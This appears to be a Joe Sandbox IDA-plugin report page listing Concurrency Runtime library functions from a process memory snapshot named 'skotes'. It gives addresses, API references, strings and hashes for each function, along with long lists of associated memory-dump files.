Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: b5e851cf8f1d9f06398b5f04c68259f8ad346e87191f3957afe11e24b0544e89
Instruction ID: 11ba9e42f4aadd0e298b627d356a07ac34171025e0d7165421f7f5889a976263
Opcode Fuzzy Hash: b5e851cf8f1d9f06398b5f04c68259f8ad346e87191f3957afe11e24b0544e89
Instruction Fuzzy Hash: CE319E32E02669DFCB14EFA4E5916EEB7B5BF54318F24406ED40177656CB316D04CB90

Function 0093182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009318A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 009318EB

Strings

pContext, xrefs: 0093189C

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b8b72ff25840f7e021dc68687f4f86de456c2d3dd564ae0e3f2c8190cc4951f7
Instruction ID: 0ad52605d9a552b042d5d5036d50afb4f00e97d7e58931b6644d7792863481cf
Opcode Fuzzy Hash: b8b72ff25840f7e021dc68687f4f86de456c2d3dd564ae0e3f2c8190cc4951f7
Instruction Fuzzy Hash: 5D210835B006159BCB18AB69D895BBDB3A9BFD4334F04052AE511872F1CFA4AC42CF95

Function 0092AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0092AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0092AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0092AF4E

Strings

pExecutionResource, xrefs: 0092AF07

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 262d1df3cd8ebd230962e76c821090f8592dd6850b3e58ad038d2ecad91127f3
Instruction ID: 50aeb8a4383841ad8446bd03cdc4e406c7e747758e66b12d040215e5d4f48ce0
Opcode Fuzzy Hash: 262d1df3cd8ebd230962e76c821090f8592dd6850b3e58ad038d2ecad91127f3
Instruction Fuzzy Hash: 3821B671B413099BCB08EF64C992BEDB7A5BFC8314F104069E505AB382DBB0AE45CB95

Function 00924EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00924F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00924F66

Strings

count, xrefs: 00924EBA
ppVirtualProcessorRoots, xrefs: 00924F1C

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 39db1e91540919f5b75ff9bc2bbae8b4af3b2da10d4bf3766ea99e9edf1f900b
Instruction ID: fbc470625629a53019f636392ea6af4d665cc05bf3ff79ec9b0a4bb865315e6b
Opcode Fuzzy Hash: 39db1e91540919f5b75ff9bc2bbae8b4af3b2da10d4bf3766ea99e9edf1f900b
Instruction Fuzzy Hash: 9621DE34600229EFCB14EFA8D992FAD77B5BF88314F004069F9069B691DB71AE01CF51

Function 0092B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0092BA0E

Strings

combase.dll, xrefs: 0092B983, 0092B988, 0092B99D, 0092B9C8
RoUninitialize, xrefs: 0092B9C1
RoInitialize, xrefs: 0092B998

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 914323e8c8c6415fb749ecf14e79e7dbecd649b6c8e63e188c10a900cc4c8fdf
Instruction ID: 1499d820fdd4a74d030e9167c701f7f679b3349bd23abaa2e4c5277280b50927
Opcode Fuzzy Hash: 914323e8c8c6415fb749ecf14e79e7dbecd649b6c8e63e188c10a900cc4c8fdf
Instruction Fuzzy Hash: 46012870982321AAE710F7B66C02B7B32DC5F0134CF21286DF690E2196EF75D80487A1

Function 00926E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00926E73

Part of subcall function 00924E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00924E7F
Part of subcall function 00924E6E: List.LIBCMT ref: 00924E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00926E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00926EAA

Strings

eventObject, xrefs: 00926E7D

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
